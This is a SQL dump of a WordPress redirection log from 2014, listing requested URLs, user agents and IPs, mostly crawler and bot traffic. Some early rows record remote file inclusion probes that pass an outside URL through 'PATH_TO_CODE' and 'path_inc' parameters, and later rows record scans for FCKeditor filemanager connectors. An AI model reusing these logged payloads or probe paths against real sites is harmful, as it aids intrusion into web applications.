(51069, '2014-01-04 13:38:53', '/script/init/createallimagecache.php?PATH_TO_CODE=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51070, '2014-01-04 13:38:54', '/script/menu/menuadministration.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
(51071, '2014-01-04 13:38:54', '/script/menu/menuprincipal.php?path_inc=http://www.google.com/humans.txt?', '', '', '', 0, '96.30.5.88', 3, 0),
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(54323, '2014-03-15 07:42:15', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.67.108', 3, 0),
(54324, '2014-03-15 07:42:18', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.74.2', 3, 0),
(54325, '2014-03-15 07:42:20', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.67.109', 3, 0),
(54326, '2014-03-15 07:42:23', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.67.13', 3, 0),
(54327, '2014-03-15 07:42:25', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.79.50', 3, 0),
(54328, '2014-03-15 07:42:28', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.74.41', 3, 0),
(54329, '2014-03-15 07:42:30', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.55', 3, 0),
(54330, '2014-03-15 07:42:33', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.18', 3, 0);
INSERT INTO `wp_redirection_logs` (`id`, `created`, `url`, `sent_to`, `agent`, `referrer`, `redirection_id`, `ip`, `module_id`, `group_id`) VALUES
(54331, '2014-03-15 07:42:35', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.208.6.69', 3, 0),
(54332, '2014-03-15 07:42:38', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.68.136', 3, 0),
(54333, '2014-03-15 07:42:40', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.79.222', 3, 0),
(54334, '2014-03-15 07:42:43', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.137', 3, 0),
(54335, '2014-03-15 07:42:46', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.137', 3, 0),
(54336, '2014-03-15 07:42:48', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.67.109', 3, 0),
(54337, '2014-03-15 07:42:51', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.228', 3, 0),
(54338, '2014-03-15 07:42:54', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.74.8', 3, 0),
(54339, '2014-03-15 07:42:57', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.79.38', 3, 0),
(54340, '2014-03-15 07:42:59', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.208.14.242', 3, 0),
(54341, '2014-03-15 07:43:02', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '188.240.129.204', 3, 0),
(54342, '2014-03-15 07:43:05', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '93.118.74.184', 3, 0),
(54343, '2014-03-15 07:43:07', '/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', '', 'Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02', 'http://www.whitehotcenter.com/2009/08/do-you-deserve-your-clients-loyalty/+Result:+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22Richardsove%22;+%F3%F1%EF%E5%F5+%28%F1+%EF%E5%F0%E2%EE%E9+%F1%F2%F0%E0%ED%E8%F6%FB%29;', 0, '5.144.176.203', 3, 0),
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(58708, '2014-08-05 13:29:01', '/www.facebook.com/plugins/like.php?href=http://www.whitehotcenter.com/2010/02/six-thinking-hats/&send=false&layout=button_count&show_faces=false&action=like&colorscheme=light&font', '', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7', '', 0, '5.44.20.215', 3, 0),
(58709, '2014-08-05 13:29:14', '/www.facebook.com/plugins/like.php?href=http://www.whitehotcenter.com/2009/09/the-entrepreneur-in-the-emerging-idea-economy/&send=false&layout=button_count&show_faces=false&action=like&colorscheme=light&font', '', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '', 0, '157.55.39.138', 3, 0),
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(58714, '2014-08-05 15:24:39', '/power-sessions/:AaliyahMoore:DzgNwVR1Psa6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0', 'http://www.whitehotcenter.com/', 0, '79.159.145.249', 3, 0),
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(58716, '2014-08-05 15:51:25', '/influence_by_design/images/2008/01/15/thomson_blogfullon_2.jpg', '', 'Googlebot-Image/1.0', '', 0, '66.249.69.60', 3, 0),
(58717, '2014-08-05 15:52:04', '/.shared/image.html?/photos/uncategorized/2008/08/27/creativejuice.gif', '', 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)', '', 0, '180.76.5.193', 3, 0),
(58718, '2014-08-05 16:14:51', '/influence_by_design/images/2008/01/14/attraction.jpg', '', 'Googlebot-Image/1.0', '', 0, '66.249.69.92', 3, 0),
(58719, '2014-08-05 16:38:10', '/influence_by_design/images/2008/01/20/viewcover_2.jpg', '', 'Googlebot-Image/1.0', '', 0, '66.249.69.92', 3, 0),
(58720, '2014-08-05 18:11:48', '/photos/uncategorized/2008/04/08/wendys_logo.png', '', 'Googlebot-Image/1.0', '', 0, '66.249.69.92', 3, 0),
(58721, '2014-08-05 20:29:22', '/hot-info/:BJKJanisxhpons:YvaGcQ4N8z2x', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '216.244.65.58', 3, 0),
(58722, '2014-08-05 20:51:07', '/wp-content/plugins/wptouch/readme.txt', '', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3', '', 0, '46.118.119.217', 3, 0),
(58723, '2014-08-05 21:22:37', '/influence_by_design/2008/11/principals-of-composition.html', '', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)', 'http://www.whitehotcenter.com/influence_by_design/2008/11/principals-of-composition.html', 0, '77.233.181.76', 3, 0),
(58724, '2014-08-06 00:29:01', '/power-sessions/:AaliyahMoore:DzgNwVR1Psa6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '216.244.65.58', 3, 0),
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(58726, '2014-08-06 02:51:01', '/power-sessions/:AaliyahMoore:DzgNwVR1Psa6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '192.99.150.55', 3, 0),
(58727, '2014-08-06 03:01:36', '/browserconfig.xml', '', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko', '', 0, '60.225.72.249', 3, 0),
(58728, '2014-08-06 03:20:10', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58729, '2014-08-06 03:52:29', '/power-sessions/:AntonettaKittel:M4Il7YCnN98A', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '192.99.150.55', 3, 0),
(58730, '2014-08-06 05:13:53', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58731, '2014-08-06 05:28:42', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58732, '2014-08-06 06:39:26', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58733, '2014-08-06 06:48:02', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58734, '2014-08-06 06:52:28', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58735, '2014-08-06 07:06:37', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58736, '2014-08-06 07:08:54', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '192.99.148.204', 3, 0),
(58737, '2014-08-06 07:23:34', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58740, '2014-08-06 08:26:37', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58745, '2014-08-06 10:22:45', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58748, '2014-08-06 11:07:20', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58749, '2014-08-06 11:10:44', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58752, '2014-08-06 12:14:27', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58754, '2014-08-06 12:27:13', '/.a/6a00d834d6625a69e2010536bf570e970c-800wi', '', 'Googlebot-Image/1.0', '', 0, '66.249.69.92', 3, 0),
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(58757, '2014-08-06 13:03:27', '/editor/editor/filemanager/connectors/test.html', '', '', '', 0, '220.161.97.28', 3, 0),
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(58760, '2014-08-06 13:44:02', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58761, '2014-08-06 14:07:57', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58762, '2014-08-06 14:11:56', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(58764, '2014-08-06 14:35:03', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58765, '2014-08-06 14:36:58', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58766, '2014-08-06 14:40:58', '/admin/editor/filemanager/browser/default/connectors/test.html', '', '', '', 0, '220.161.97.28', 3, 0),
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(58768, '2014-08-06 14:41:36', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0);
INSERT INTO `wp_redirection_logs` (`id`, `created`, `url`, `sent_to`, `agent`, `referrer`, `redirection_id`, `ip`, `module_id`, `group_id`) VALUES
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(58770, '2014-08-06 14:51:25', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58771, '2014-08-06 15:23:16', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58772, '2014-08-06 15:52:24', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58773, '2014-08-06 16:02:39', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58774, '2014-08-06 16:06:13', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58775, '2014-08-06 16:13:57', '/manage/editor/filemanager/browser/default/connectors/test.html', '', '', '', 0, '220.161.97.28', 3, 0),
